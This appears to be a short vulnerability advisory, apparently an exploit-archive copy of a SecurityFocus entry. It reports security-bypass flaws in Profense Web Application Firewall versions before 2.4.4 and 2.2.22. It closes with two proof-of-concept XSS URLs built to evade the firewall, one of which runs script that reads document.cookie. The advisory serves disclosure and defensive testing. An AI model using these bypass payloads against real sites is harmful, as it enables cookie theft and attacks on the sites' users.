13 lines
No EOL
548 B
Text
Executable file
13 lines
No EOL
548 B
Text
Executable file
source: http://www.securityfocus.com/bid/35053/info
|
|
|
|
Profense Web Application Firewall is prone to multiple security-bypass vulnerabilities.
|
|
|
|
An attacker can exploit these issues to bypass certain security restrictions and perform various web-application attacks.
|
|
|
|
Versions *prior to* the following are vulnerable:
|
|
|
|
Profense 2.4.4
|
|
Profense 2.2.22
|
|
|
|
http://www.example.com/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass
|
|
http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E |